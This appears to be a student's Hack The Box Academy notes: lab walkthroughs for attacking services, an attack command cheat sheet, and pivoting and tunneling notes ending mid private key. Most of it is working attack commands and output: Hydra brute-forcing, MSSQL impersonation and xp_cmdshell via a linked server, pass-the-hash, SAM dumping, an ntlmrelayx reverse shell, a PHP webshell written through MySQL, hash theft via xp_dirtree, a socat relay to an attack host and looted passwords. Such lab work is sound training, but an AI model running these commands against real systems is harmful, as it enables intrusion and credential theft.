┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ hydra pop3://10.129.88.133 -l simon -P mynotes.txt Hydra v9.1 (c) 2020 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-01 14:48:16 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task [DATA] attacking pop3://10.129.88.133:110/ [110][pop3] host: 10.129.88.133 login: simon password: 8Ns8j1b!23hs4921smHzwn 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-01 14:48:21 ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ hydra ssh://10.129.88.133 -l simon -P mynotes.txt Hydra v9.1 (c) 2020 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-01 14:48:46 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task [DATA] attacking ssh://10.129.88.133:22/ [22][ssh] host: 10.129.88.133 login: simon password: 8Ns8j1b!23hs4921smHzwn 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-01 14:48:49 ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ ssh simon@10.129.88.133 The authenticity of host \u0026#39;10.129.88.133 (10.129.88.133)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is SHA256:3I77Le3AqCEUd+1LBAraYTRTF74wwJZJiYcnwfF5yAs. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;10.129.88.133\u0026#39; (ECDSA) to the list of known hosts. simon@10.129.88.133\u0026#39;s password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 01 Mar 2024 02:49:16 PM UTC System load: 0.47 Processes: 232 Usage of /: 16.7% of 13.72GB Users logged in: 0 Memory usage: 12% IPv4 address for ens160: 10.129.88.133 Swap usage: 0% * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings No mail. Last login: Wed Apr 20 14:32:33 2022 from 10.10.14.20 simon@lin-medium:~$ ls Maildir flag.txt simon@lin-medium:~$ cat flag.txt HTB{1qay2wsx3EDC4rfv_M3D1UM} simon@lin-medium:~$ flag: HTB{1qay2wsx3EDC4rfv_M3D1UM}\nAttacking Common Services - Hard Host: 10.129.203.10\n┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~/Sublist3r/subbrute] └──╼ [★]$ sudo nmap -A -T5 10.129.203.10 Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 15:00 GMT Nmap scan report for 10.129.203.10 Host is up (0.0058s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-01T14:59:09 |_Not valid after: 2054-03-01T14:59:09 | ms-sql-ntlm-info: | 10.129.203.10:1433: | Target_Name: WIN-HARD | NetBIOS_Domain_Name: WIN-HARD | NetBIOS_Computer_Name: WIN-HARD | DNS_Domain_Name: WIN-HARD | DNS_Computer_Name: WIN-HARD |_ Product_Version: 10.0.17763 | ms-sql-info: | 10.129.203.10:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2024-03-01T15:01:24+00:00; 0s from scanner time. 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=WIN-HARD | Not valid before: 2024-02-29T14:59:01 |_Not valid after: 2024-08-30T14:59:01 | rdp-ntlm-info: | Target_Name: WIN-HARD | NetBIOS_Domain_Name: WIN-HARD | NetBIOS_Computer_Name: WIN-HARD | DNS_Domain_Name: WIN-HARD | DNS_Computer_Name: WIN-HARD | Product_Version: 10.0.17763 |_ System_Time: 2024-03-01T15:00:45+00:00 |_ssl-date: 2024-03-01T15:01:24+00:00; 0s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Timing level 5 (Insane) used No OS matches for host Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-03-01T15:00:48 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled but not required TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 8.64 ms 10.10.14.1 2 8.53 ms 10.129.203.10 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.51 seconds ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ smbmap -u simon -H 10.129.203.10 -R Home [+] Guest session IP: 10.129.203.10:445 Name: 10.129.203.10 Disk Permissions Comment ---- ----------- ------- Home READ ONLY .\\Home\\* dr--r--r-- 0 Thu Apr 21 22:18:21 2022 . dr--r--r-- 0 Thu Apr 21 22:18:21 2022 .. dr--r--r-- 0 Fri Apr 22 04:14:02 2022 HR dr--r--r-- 0 Thu Apr 21 21:11:44 2022 IT dr--r--r-- 0 Fri Apr 22 04:14:51 2022 OPS dr--r--r-- 0 Fri Apr 22 04:15:29 2022 Projects .\\Home\\IT\\* dr--r--r-- 0 Thu Apr 21 21:11:44 2022 . dr--r--r-- 0 Thu Apr 21 21:11:44 2022 .. dr--r--r-- 0 Thu Apr 21 21:11:53 2022 Fiona dr--r--r-- 0 Thu Apr 21 22:15:09 2022 John dr--r--r-- 0 Thu Apr 21 22:16:07 2022 Simon .\\Home\\IT\\Fiona\\* dr--r--r-- 0 Thu Apr 21 21:11:53 2022 . dr--r--r-- 0 Thu Apr 21 21:11:53 2022 .. fr--r--r-- 118 Thu Apr 21 21:13:11 2022 creds.txt .\\Home\\IT\\John\\* dr--r--r-- 0 Thu Apr 21 22:15:09 2022 . dr--r--r-- 0 Thu Apr 21 22:15:09 2022 .. fr--r--r-- 101 Thu Apr 21 22:14:58 2022 information.txt fr--r--r-- 164 Thu Apr 21 22:13:40 2022 notes.txt fr--r--r-- 99 Thu Apr 21 22:15:55 2022 secrets.txt .\\Home\\IT\\Simon\\* dr--r--r-- 0 Thu Apr 21 22:16:07 2022 . dr--r--r-- 0 Thu Apr 21 22:16:07 2022 .. fr--r--r-- 94 Thu Apr 21 22:16:48 2022 random.txt ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ cat 10.129.203.10-Home_IT_* Windows Creds kAkd03SA@#! 48Ns72!bns74@S84NNNSl SecurePassword! Password123! SecureLocationforPasswordsd123!! Password Lists: 1234567 (DK02ka-dsaldS Inlanefreight2022 Inlanefreight2022! TestingDB123 Credentials (k20ASD10934kadA KDIlalsa9020$ JT9ads02lasSA@ Kaksd032klasdA# LKads9kasd0-@ ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ cat smb_users.txt simon john fiona ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ hydra rdp://10.129.203.10 -L smb_users.txt -P smb_passes.txt Hydra v9.1 (c) 2020 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-01 15:53:42 [WARNING] rdp servers often dont like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover [INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections) [WARNING] the rdp module is experimental. Please test, report - and if possible, fix. [DATA] max 4 tasks per 1 server, overall 4 tasks, 57 login tries (l:3/p:19), ~15 tries per task [DATA] attacking rdp://10.129.203.10:3389/ [3389][rdp] host: 10.129.203.10 login: fiona password: 48Ns72!bns74@S84NNNSl [ERROR] freerdp: The connection failed to establish. 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-01 15:53:50 ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~] └──╼ [★]$ xfreerdp /u:fiona /p:\u0026#39;48Ns72!bns74@S84NNNSl\u0026#39; /v:10.129.203.10 C:\\Users\\Fiona\u0026gt;sqlcmd 1\u0026gt; SELECT SYSTEM_USER 2\u0026gt; SELECT IS_SRVROLEMEMBER(\u0026#39;sysadmin\u0026#39;) 3\u0026gt; go -------------------------------------------------------------------------------------------------------------------------------- WIN-HARD\\Fiona (1 rows affected) ----------- 0 (1 rows affected) 1\u0026gt; SELECT distinct b.name 2\u0026gt; FROM sys.server_permissions a 3\u0026gt; INNER JOIN sys.server_principals b 4\u0026gt; ON a.grantor_principal_id = b.principal_id 5\u0026gt; WHERE a.permission_name = \u0026#39;IMPERSONATE\u0026#39; 6\u0026gt; GO name -------------------------------------------------------------------------------------------------------------------------------- john simon (2 rows affected) 1\u0026gt; EXECUTE AS LOGIN = \u0026#39;john\u0026#39; 2\u0026gt; SELECT SYSTEM_USER 3\u0026gt; SELECT IS_SRVROLEMEMBER(\u0026#39;sysadmin\u0026#39;) 4\u0026gt; GO -------------------------------------------------------------------------------------------------------------------------------- john (1 rows affected) ----------- 0 (1 rows affected) 1\u0026gt; 1\u0026gt; SELECT srvname, isremote FROM sysservers 2\u0026gt; go srvname isremote -------------------------------------------------------------------------------------------------------------------------------- -------- WINSRV02\\SQLEXPRESS 1 LOCAL.TEST.LINKED.SRV 0 (2 rows affected) 1\u0026gt; EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure \u0026#39;show advanced options\u0026#39;, 1; 2\u0026gt; go Configuration option \u0026#39;show advanced options\u0026#39; changed from 0 to 1. Run the RECONFIGURE statement to install. 1\u0026gt; EXEC (\u0026#39;RECONFIGURE\u0026#39;) AT [LOCAL.TEST.LINKED.SRV]; 2\u0026gt; go 1\u0026gt; EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure \u0026#39;xp_cmdshell\u0026#39;, 1; 2\u0026gt; go Configuration option \u0026#39;xp_cmdshell\u0026#39; changed from 0 to 1. Run the RECONFIGURE statement to install. 1\u0026gt; EXEC (\u0026#39;RECONFIGURE\u0026#39;) AT [LOCAL.TEST.LINKED.SRV]; 2\u0026gt; go 1\u0026gt; EXEC (\u0026#39;xp_cmdshell \u0026#39;\u0026#39;type C:\\\\Users\\\\Administrator\\\\Desktop\\\\flag.txt\u0026#39;\u0026#39;\u0026#39;) AT [LOCAL.TEST.LINKED.SRV] 2\u0026gt; go output -------------------------------------------------------------------------------------------------------------------------------- HTB{46u$!n9_l!nk3d_$3rv3r$} (1 rows affected) flag: HTB{46u$!n9_l!nk3d_$3rv3r$}\nCheatsheet Attacking FTP\nCommand Description ftp 192.168.2.142 Connecting to the FTP server using the ftp client. nc -v 192.168.2.142 21 Connecting to the FTP server using netcat. hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142 Brute-forcing the FTP service. Attacking SMB\nCommand Description smbclient -N -L //10.129.14.128 Null-session testing against the SMB service. smbmap -H 10.129.14.128 Network share enumeration using smbmap. smbmap -H 10.129.14.128 -r notes Recursive network share enumeration using smbmap. smbmap -H 10.129.14.128 --download \u0026quot;notes\\note.txt\u0026quot; Download a specific file from the shared folder. smbmap -H 10.129.14.128 --upload test.txt \u0026quot;notes\\test.txt\u0026quot; Upload a specific file to the shared folder. rpcclient -U'%' 10.10.110.17 Null-session with the rpcclient. ./enum4linux-ng.py 10.10.11.45 -A -C Automated enumeration of the SMB service using enum4linux-ng. crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' Password spraying against different users from a list. impacket-psexec administrator:'Password123!'@10.10.110.17 Connect to the SMB service using the impacket-psexec. crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec Execute a command over the SMB service using crackmapexec. crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users Enumerating Logged-on users. crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam Extract hashes from the SAM database. crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE Use the Pass-The-Hash technique to authenticate on the target host. impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 Dump the SAM database using impacket-ntlmrelayx. impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e \u0026lt;base64 reverse shell\u0026gt; Execute a PowerShell based reverse shell using impacket-ntlmrelayx. Attacking SQL Databases\nCommand Description mysql -u julio -pPassword123 -h 10.129.20.13 Connecting to the MySQL server. sqlcmd -S SRVMSSQL\\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30 Connecting to the MSSQL server. sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h Connecting to the MSSQL server from Linux. sqsh -S 10.129.203.7 -U .\\\\julio -P 'MyPassword!' -h Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server. mysql\u0026gt; SHOW DATABASES; Show all available databases in MySQL. mysql\u0026gt; USE htbusers; Select a specific database in MySQL. mysql\u0026gt; SHOW TABLES; Show all available tables in the selected database in MySQL. mysql\u0026gt; SELECT * FROM users; Select all available entries from the \u0026ldquo;users\u0026rdquo; table in MySQL. sqlcmd\u0026gt; SELECT name FROM master.dbo.sysdatabases Show all available databases in MSSQL. sqlcmd\u0026gt; USE htbusers Select a specific database in MSSQL. sqlcmd\u0026gt; SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES Show all available tables in the selected database in MSSQL. sqlcmd\u0026gt; SELECT * FROM users Select all available entries from the \u0026ldquo;users\u0026rdquo; table in MSSQL. sqlcmd\u0026gt; EXECUTE sp_configure 'show advanced options', 1 To allow advanced options to be changed. sqlcmd\u0026gt; EXECUTE sp_configure 'xp_cmdshell', 1 To enable the xp_cmdshell. sqlcmd\u0026gt; RECONFIGURE To be used after each sp_configure command to apply the changes. sqlcmd\u0026gt; xp_cmdshell 'whoami' Execute a system command from MSSQL server. mysql\u0026gt; SELECT \u0026quot;\u0026lt;?php echo shell_exec($_GET['c']);?\u0026gt;\u0026quot; INTO OUTFILE '/var/www/html/webshell.php' Create a file using MySQL. mysql\u0026gt; show variables like \u0026quot;secure_file_priv\u0026quot;; Check if the secure file privileges are empty to read locally stored files on the system. sqlcmd\u0026gt; SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents Read local files in MSSQL. mysql\u0026gt; select LOAD_FILE(\u0026quot;/etc/passwd\u0026quot;); Read local files in MySQL. sqlcmd\u0026gt; EXEC master..xp_dirtree '\\\\10.10.110.17\\share\\' Hash stealing using the xp_dirtree command in MSSQL. sqlcmd\u0026gt; EXEC master..xp_subdirs '\\\\10.10.110.17\\share\\' Hash stealing using the xp_subdirs command in MSSQL. sqlcmd\u0026gt; SELECT srvname, isremote FROM sysservers Identify linked servers in MSSQL. sqlcmd\u0026gt; EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\\SQLEXPRESS] Identify the user and its privileges used for the remote connection in MSSQL. Attacking RDP\nCommand Description crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' Password spraying against the RDP service. hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp Brute-forcing the RDP service. rdesktop -u admin -p password123 192.168.2.143 Connect to the RDP service using rdesktop in Linux. tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} Impersonate a user without its password. net start sessionhijack Execute the RDP session hijack. reg add HKLM\\System\\CurrentControlSet\\Control\\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f Enable \u0026ldquo;Restricted Admin Mode\u0026rdquo; on the target Windows host. xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA Use the Pass-The-Hash technique to login on the target host without a password. Attacking DNS\nCommand Description dig AXFR @ns1.inlanefreight.htb inlanefreight.htb Perform an AXFR zone transfer attempt against a specific name server. subfinder -d inlanefreight.com -v Brute-forcing subdomains. host support.inlanefreight.com DNS lookup for the specified subdomain. Attacking Email Services\nCommand Description host -t MX microsoft.com DNS lookup for mail servers for the specified domain. dig mx inlanefreight.com | grep \u0026quot;MX\u0026quot; | grep -v \u0026quot;;\u0026quot; DNS lookup for mail servers for the specified domain. host -t A mail1.inlanefreight.htb. DNS lookup of the IPv4 address for the specified subdomain. telnet 10.10.110.20 25 Connect to the SMTP server. smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7 SMTP user enumeration using the RCPT command against the specified host. python3 o365spray.py --validate --domain msplaintext.xyz Verify the usage of Office365 for the specified domain. python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz Enumerate existing users using Office365 on the specified domain. python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz Password spraying against a list of users that use Office365 for the specified domain. hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3 Brute-forcing the POP3 service. swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213 Testing the SMTP service for the open-relay vulnerability. Complete Link of Completion\nPivoting, Tunneling, and Port Forwarding Dynamic Port Forwarding with SSH and SOCKS Tunneling Executing the Local Port Forward\nThe -L command tells the SSH client to request the SSH server to forward all the data we send via the port 1234 to localhost:3306 on the Ubuntu server. By doing this, we should be able to access the MySQL service locally on port 1234. We can use Netstat or Nmap to query our local host on 1234 port to verify whether the MySQL service was forwarded.\nwoadey@htb[/htb]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64 ubuntu@10.129.202.64\u0026#39;s password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 24 Feb 2022 05:23:20 PM UTC System load: 0.0 Usage of /: 28.4% of 13.72GB Memory usage: 34% Swap usage: 0% Processes: 175 Users logged in: 1 IPv4 address for ens192: 10.129.202.64 IPv6 address for ens192: dead:beef::250:56ff:feb9:52eb IPv4 address for ens224: 172.16.5.129 * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 66 updates can be applied immediately. 45 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Forwarding Multiple Ports\nwoadey@htb[/htb]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64 Enabling Dynamic Port Forwarding with SSH\nThe -D argument requests the SSH server to enable dynamic port forwarding. Once we have this enabled, we will require a tool that can route any tool\u0026rsquo;s packets over the port 9050. We can do this using the tool proxychains, which is capable of redirecting TCP connections through TOR, SOCKS, and HTTP/HTTPS proxy servers and also allows us to chain multiple proxy servers together. Using proxychains, we can hide the IP address of the requesting host as well since the receiving host will only see the IP of the pivot host. Proxychains is often used to force an application\u0026rsquo;s TCP traffic to go through hosted proxies like SOCKS4/SOCKS5, TOR, or HTTP/HTTPS proxies.\nTo inform proxychains that we must use port 9050, we must modify the proxychains configuration file located at /etc/proxychains.conf. We can add socks4 127.0.0.1 9050 to the last line if it is not already there.\nwoadey@htb[/htb]$ ssh -D 9050 ubuntu@10.129.202.64 woadey@htb[/htb]$ tail -4 /etc/proxychains.conf # meanwile # defaults set to \u0026#34;tor\u0026#34; socks4 127.0.0.1 9050 woadey@htb[/htb]$ proxychains nmap -v -sn 172.16.5.1-200 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:30 EST Initiating Ping Scan at 12:30 Scanning 10 hosts [2 ports/host] |S-chain|-\u0026lt;\u0026gt;-127.0.0.1:9050-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-172.16.5.2:80-\u0026lt;--timeout |S-chain|-\u0026lt;\u0026gt;-127.0.0.1:9050-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-172.16.5.5:80-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-OK |S-chain|-\u0026lt;\u0026gt;-127.0.0.1:9050-\u0026lt;\u0026gt;\u0026lt;\u0026gt;-172.16.5.6:80-\u0026lt;--timeout RTTVAR has grown to over 2.3 seconds, decreasing to 2.0 \u0026lt;SNIP\u0026gt; Remote/Reverse Port Fowarding with SSH woadey@htb[/htb]$ ssh -R \u0026lt;InternalIPofPivotHost\u0026gt;:8080:0.0.0.0:8000 ubuntu@\u0026lt;ipAddressofTarget\u0026gt; -vN Socat Redirection with a Reverse Shell Socat is a bidirectional relay tool that can create pipe sockets between 2 independent network channels without needing to use SSH tunneling. It acts as a redirector that can listen on one host and port and forward that data to another IP address and port. We can start Metasploit\u0026rsquo;s listener using the same command mentioned in the last section on our attack host, and we can start socat on the Ubuntu server.\nSocat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack host (10.10.14.18). Once our redirector is configured, we can create a payload that will connect back to our redirector, which is running on our Ubuntu server. We will also start a listener on our attack host because as soon as socat receives a connection from a target, it will redirect all the traffic to our attack host\u0026rsquo;s listener, where we would be getting a shell.\nubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80 SSH Pivoting with Sshuttle Sshuttle is another tool written in Python which removes the need to configure proxychains. However, this tool only works for pivoting over SSH and does not provide other options for pivoting over TOR or HTTPS proxy servers. Sshuttle can be extremely useful for automating the execution of iptables and adding pivot rules for the remote host. We can configure the Ubuntu server as a pivot point and route all of Nmap\u0026rsquo;s network traffic with sshuttle using the example later in this section.\nwoadey@htb[/htb]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v Starting sshuttle proxy (version 1.1.0). c : Starting firewall manager with command: [\u0026#39;/usr/bin/python3\u0026#39;, \u0026#39;/usr/local/lib/python3.9/dist-packages/sshuttle/__main__.py\u0026#39;, \u0026#39;-v\u0026#39;, \u0026#39;--method\u0026#39;, \u0026#39;auto\u0026#39;, \u0026#39;--firewall\u0026#39;] fw: Starting firewall with Python version 3.9.2 fw: ready method name nat. c : IPv6 enabled: Using default IPv6 listen address ::1 c : Method: nat c : IPv4: on c : IPv6: on c : UDP : off (not available with nat method) c : DNS : off (available) c : User: off (available) c : Subnets to forward through remote host (type, IP, cidr mask width, startPort, endPort): c : (\u0026lt;AddressFamily.AF_INET: 2\u0026gt;, \u0026#39;172.16.5.0\u0026#39;, 32, 0, 0) c : Subnets to exclude from forwarding: c : (\u0026lt;AddressFamily.AF_INET: 2\u0026gt;, \u0026#39;127.0.0.1\u0026#39;, 32, 0, 0) c : (\u0026lt;AddressFamily.AF_INET6: 10\u0026gt;, \u0026#39;::1\u0026#39;, 128, 0, 0) c : TCP redirector listening on (\u0026#39;::1\u0026#39;, 12300, 0, 0). c : TCP redirector listening on (\u0026#39;127.0.0.1\u0026#39;, 12300). c : Starting client with Python version 3.9.2 c : Connecting to server... ubuntu@10.129.202.64\u0026#39;s password: s: Running server on remote host with /usr/bin/python3 (version 3.8.10) s: latency control setting = True s: auto-nets:False c : Connected to server. fw: setting up. fw: ip6tables -w -t nat -N sshuttle-12300 fw: ip6tables -w -t nat -F sshuttle-12300 fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300 fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300 fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp fw: iptables -w -t nat -N sshuttle-12300 fw: iptables -w -t nat -F sshuttle-12300 fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300 fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300 fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.5.0/32 -p tcp --to-ports 12300 woadey@htb[/htb]$ nmap -v -sV -p3389 172.16.5.19 -A -Pn DNS Tunneling with Dnscat2 Dnscat2 is a tunneling tool that uses DNS protocol to send data between two hosts. It uses an encrypted Command-\u0026amp;-Control (C\u0026amp;C or C2) channel and sends data inside TXT records within the DNS protocol. Usually, every active directory domain environment in a corporate network will have its own DNS server, which will resolve hostnames to IP addresses and route the traffic to external DNS servers participating in the overarching DNS system. However, with dnscat2, the address resolution is requested from an external server. When a local DNS server tries to resolve an address, data is exfiltrated and sent over the network instead of a legitimate DNS request. Dnscat2 can be an extremely stealthy approach to exfiltrate data while evading firewall detections which strip the HTTPS connections and sniff the traffic. For our testing example, we can use dnscat2 server on our attack host, and execute the dnscat2 client on another Windows host.\nSOCKS5 Tunneling with Chisel Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data that is secured using SSH. Chisel can create a client-server tunnel connection in a firewall restricted environment.\nICMP Tunneling with SOCKS ICMP tunneling encapsulates your traffic within ICMP packets containing echo requests and responses. ICMP tunneling would only work when ping responses are permitted within a firewalled network. When a host within a firewalled network is allowed to ping an external server, it can encapsulate its traffic within the ping echo request and send it to an external server. The external server can validate this traffic and send an appropriate response, which is extremely useful for data exfiltration and creating pivot tunnels to an external server. ptunnel-ng is a great tool that allows us to do this.\nSkill Assessment IP: 10.129.208.79\nwww-data@inlanefreight.local:…/www/html# ifconfig ens160: flags=4163\u0026lt;UP,BROADCAST,RUNNING,MULTICAST\u0026gt; mtu 1500 inet 10.129.208.79 netmask 255.255.0.0 broadcast 10.129.255.255 inet6 dead:beef::250:56ff:feb9:e9df prefixlen 64 scopeid 0x0\u0026lt;global\u0026gt; inet6 fe80::250:56ff:feb9:e9df prefixlen 64 scopeid 0x20\u0026lt;link\u0026gt; ether 00:50:56:b9:e9:df txqueuelen 1000 (Ethernet) RX packets 1531 bytes 137646 (137.6 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 588 bytes 77641 (77.6 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens192: flags=4163\u0026lt;UP,BROADCAST,RUNNING,MULTICAST\u0026gt; mtu 1500 inet 172.16.5.15 netmask 255.255.0.0 broadcast 172.16.255.255 inet6 fe80::250:56ff:feb9:b964 prefixlen 64 scopeid 0x20\u0026lt;link\u0026gt; ether 00:50:56:b9:b9:64 txqueuelen 1000 (Ethernet) RX packets 332 bytes 21095 (21.0 KB) RX errors 0 dropped 13 overruns 0 frame 0 TX packets 13 bytes 1006 (1.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73\u0026lt;UP,LOOPBACK,RUNNING\u0026gt; mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10\u0026lt;host\u0026gt; loop txqueuelen 1000 (Local Loopback) RX packets 1742 bytes 136860 (136.8 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1742 bytes 136860 (136.8 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 www-data@inlanefreight.local:…/www/html# netstat -antp (No info could be read for \u0026#34;-p\u0026#34;: geteuid()=33 but you should be root.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 1 10.129.208.79:34878 1.1.1.1:53 SYN_SENT - tcp 0 1 10.129.208.79:49512 8.8.8.8:53 SYN_SENT - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 10.129.208.79:80 10.10.14.247:53140 TIME_WAIT - tcp6 0 0 10.129.208.79:80 10.10.14.247:37476 ESTABLISHED - www-data@inlanefreight.local:/home/webadmin# cat for-admin-eyes-only # note to self, in order to reach server01 or other servers in the subnet from here you have to us the user account:mlefay with a password of : Plain Human work! www-data@inlanefreight.local:/home/webadmin# cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn 